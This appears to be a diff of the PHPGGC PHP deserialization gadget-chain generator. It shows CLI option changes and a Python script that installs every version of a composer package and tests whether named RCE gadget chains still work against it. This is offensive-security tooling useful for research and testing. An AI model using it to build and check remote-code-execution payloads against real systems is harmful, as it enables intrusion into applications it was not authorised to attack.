589 $this->o(' - process_serialized(string $serialized): called right after the payload is serialized');
543590 $this->o('');
544591 $this->o('ENCODING');
545592 $this->o(' -s, --soft Soft URLencode');
552599 $this->o('CREATION');
553600 $this->o(' -N, --new <framework> <type>');
554601 $this->o(' Creates the file structure for a new gadgetchain for given framework');
555 $this->o(' Example: ./phpggc -n Drupal RCE');
602 $this->o(' Example: ./phpggc -N Drupal RCE');
556603 $this->o(' --test-payload');
557604 $this->o(' Instead of displaying or storing the payload, includes vendor/autoload.php and unserializes the payload.');
558605 $this->o(' The test script can only deserialize __destruct, __wakeup, __toString and PHAR payloads.');
610657 # Enhancements
611658 'fast-destruct' => false,
612659 'ascii-strings' => false,
660 'armor-strings' => false,
613661 'plus-numbers' => true,
614662 # Encoders
615663 'soft' => false,
631679 'phar-jpeg' => 'pj',
632680 'phar-prefix' => 'pp',
633681 'phar-filename' => 'pf',
634 'new' => 'N'
682 'new' => 'N',
683 'ascii-strings' => 'a',
684 'armor-strings' => 'A'
635685 ] + $abbreviations;
636686
637687 # If we are in this function, the argument starts with a dash, so we
783833 }
784834
785835 /**
786 * Convert command line parameters into an array of named parameters,
836 * Converts command line arguments into an array of named arguments,
787837 * specific to the type of payload.
788838 */
789 protected function get_type_parameters($gc, $parameters)
790 {
791 $arguments = $gc::$parameters;
792
793 $values = @array_combine($arguments, $parameters);
794
795 if($values === false)
839 protected function get_type_arguments($gc, $arguments)
840 {
841 $keys = $gc::$parameters;
842 if(count($keys) != count($arguments))
796843 {
797844 $this->o($gc, 2);
798845 $this->e(
800847 $this->_get_command_line_gc($gc)
801848 );
802849 }
803
804 return $values;
850 return array_combine($keys, $arguments);
805851 }
806852
807853 protected function _get_command_line_gc($gc)
1313 catch(\PHPGGC\Exception $e)
1414 {
1515 print("ERROR: " . $e->getMessage() . "\n");
16 exit(1);
1617 }
0 #!/usr/bin/env python3
1 """
2 Test PHPGGC gadget chains against every version of a composer package.
3
4 Usage:
5 $ ./test-gc-compatibility.py <composer-package> <gadget-chain-1> [gadget-chain-2...]
6
7 Example:
8 $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
9
10 Required executables:
11 The program requires phpggc and composer.
12 By default, it will use the `phpggc` from the current directory, and the
13 composer from PATH. If you wish to use other paths, use the `PHPGGC_PATH`
14 and `COMPOSER_PATH` environment variables.
15 If a file cannot be ran straight up, we'll try using `php <file>` instead.
16
17 Dependencies:
18 $ pip install rich
19
20 Credit goes to @M4yFly for the original idea and implementation.
21 """
22
23 import subprocess
24 import argparse
25 import pathlib
26 import os
27 import re
28 import tempfile
29 import shutil
30
31
32 try:
33 from rich import print
34 except ImportError:
35 print('Please install the `rich` python3 package to use this program.')
36 print('$ pip install rich')
37 exit()
38
39
40 from rich.progress import Progress
41 from rich.table import Table
42
43
44 class Tester:
45 """Tests gadget chains against a composer package.
46 """
47 _package = None
48
49 def run(self):
50 args = setup_arguments()
51 self._cwd = os.curdir
52 self._gcs = args.gadget_chain
53 self._executor = Executor()
54 self._package = Package(args.package, executor=self._executor)
55
56 for gc in self._gcs:
57 self.ensure_gc_exists(gc)
58
59 versions = self._package.get_versions()
60 print(
61 f'Testing {len(versions)} versions for '
62 f'[blue]{self._package.name}[/blue] against '
63 f'{len(self._gcs)} gadget chains.'
64 )
65
66 # We'll jump to a temporary directory for phpggc and composer to work
67 # without breaking anything.
68 os.chdir(self._package.work_dir)
69
70 self.test_chains_on_versions(versions)
71
72 def ensure_gc_exists(self, name):
73 """Makes sure that a GC exists.
74 """
75 if not self._executor.phpggc('-i', name):
76 raise TesterException(f'Gadget chain does not exist: {name}')
77
78 def test_chains_on_versions(self, versions):
79 """Contains the main logic. Each version of the package will be
80 installed, and each gadget chain will be tested against it. Results
81 are kept in a table.
82 """
83 table = Table(self._package.name)
84 table.add_column('Package', justify='center')
85
86 for gc in self._gcs:
87 table.add_column(gc, justify='center')
88
89 errored_payload_rows = (
90 (self.__status_str(False), ) +
91 ('[yellow]-', ) * len(self._gcs)
92 )
93
94 with Progress() as progress:
95 ptask = progress.add_task('Testing chains', total=len(versions))
96
97 for version in versions:
98 progress.update(ptask, advance=1,
99 description=f'Testing ({version})')
100 try:
101 tests = self.test_chains_on_version(version)
102 except ValueError:
103 table.add_row(version, *errored_payload_rows)
104 else:
105 outputs = [self.__status_str(test) for test in tests]
106 table.add_row(version, self.__status_str(True), *outputs)
107
108 progress.update(ptask, visible=False)
109
110 print(table)
111
112 def __status_str(self, test):
113 return test and '[green]OK' or '[red]KO'
114
115 def test_chains_on_version(self, version):
116 self._package.install_version(version)
117 return [
118 self._executor.phpggc('--test-payload', gc)
119 for gc in self._gcs
120 ]
121
122 def cleanup(self):
123 """Cleans up anything we might have used and go back to the original
124 directory.
125 """
126 os.chdir(self._cwd)
127 if self._package:
128 self._package.cleanup()
129
130
131 class TesterException(Exception):
132 pass
133
134
135 def setup_arguments():
136 parser = argparse.ArgumentParser(description=
137 'Test PHPGGC gadget chains against every version of a composer package.'
138 )
139 parser.add_argument('package')
140 parser.add_argument('gadget_chain', nargs='+')
141
142 return parser.parse_args()
143
144
145 class Executor:
146 """Small wrapper to execute composer and phpggc.
147 """
148
149 def __init__(self):
150 self.get_commands()
151
152 def _try_run_command(self, *cmd):
153 """Tries to run a command to completion: if no exception happens and the
154 return code is zero, returns True. Otherwise, False.
155 """
156 try:
157 process = self._run(*cmd)
158 except (PermissionError, FileNotFoundError) as e:
159 return False
160 return process.returncode == 0
161
162 def _get_valid_run_command(self, php_file):
163 """Tries to run a PHP file directly (e.g. `./file.php`). If it does not
164 work, tries with `php file.php`.
165 Returns the arguments required to launch the file, as tuple.
166 If nothing works, an exception is raised.
167 """
168 # We will change our current directory during the execution.
169 # If we can find php_file in the current path, refer to it using an
170 # absolute path.
171 # Otherwise, just assume it's an alias or from $PATH.
172 path = pathlib.Path(php_file)
173 if path.exists():
174 php_file = str(path.absolute())
175
176 if self._try_run_command(php_file):
177 return (php_file, )
178 elif path.exists() and self._try_run_command('php', php_file):
179 return ('php', php_file)
180 raise TesterException(f'Unable to run PHP file: {php_file}')
181
182 def get_commands(self):
183 """Gets the paths of the two required programs, phpggc and composer, and
184 verifies if they need to be started with "php" as a prefix.
185 """
186 work_dir = pathlib.Path(__file__).parent.resolve()
187 phpggc = os.environ.get('PHPGGC_PATH', str(work_dir / 'phpggc'))
188 composer = os.environ.get('COMPOSER_PATH', 'composer')
189
190 if not pathlib.Path(phpggc).is_file():
191 raise TesterException('phpggc executable not found')
192
193 self._phpggc = self._get_valid_run_command(phpggc)
194 self._composer = self._get_valid_run_command(composer)
195
196 def _run(self, *args):
197 """Runs a program with given arguments.
198 """
199 return subprocess.run(
200 args, stdout=subprocess.PIPE, stderr=subprocess.PIPE
201 )
202
203 def composer(self, *args):
204 """Runs composer and returns stdout and stderr as a tuple.
205 """
206 process = self._run(*self._composer, *args)
207 return process.stdout.decode('utf-8'), process.stderr.decode('utf-8')
208
209 def phpggc(self, *args):
210 """Runs PHPGGC with given arguments and returns whether the execution
211 was successful or not.
212 """
213 return self._run(*self._phpggc, *args).returncode == 0
214
215
216 class Package:
217 """Represents a composer package.
218 """
219 def __init__(self, name, executor):
220 self.name = name
221 self._executor = executor
222 self.work_dir = pathlib.Path(tempfile.mkdtemp(prefix='phpggc'))
223
224 def get_versions(self):
225 """Uses composer to obtain each version (or tag) for the package.
226 """
227 versions, _ = self._executor.composer('show', '-a', self.name)
228 versions = re.search(r'versions :(.*)\ntype', versions).group(1)
229 return [v.strip() for v in versions.split(',')]
230
231 def clean_workdir(self, final=False):
232 """Removes any composer related file in the working directory, such as
233 composer.json and vendor/.
234 """
235 (self.work_dir / 'composer.json').unlink(missing_ok=True)
236 (self.work_dir / 'composer.lock').unlink(missing_ok=True)
237 shutil.rmtree(self.work_dir / 'vendor', ignore_errors=True)
238 if final:
239 self.work_dir.rmdir()
240
241 def install_version(self, version):
242 """Uses composer to install a specific version of the package.
243 """
244 self.clean_workdir()
245 _, stderr = self._executor.composer(
246 'require',
247 '-q', '--ignore-platform-reqs', f'{self.name}:{version}'
248 )
249 if stderr:
250 raise ValueError(f'Unable to install version: {version}')
251
252 def cleanup(self):
253 self.clean_workdir(final=True)
254
255
256 if __name__ == '__main__':
257 tester = Tester()
258
259 try:
260 tester.run()
261 except TesterException as e:
262 print(f'[red]Error: {e}[/red]')
263 except KeyboardInterrupt:
264 print(f'[red]Execution interrupted.')
265 finally:
266 tester.cleanup()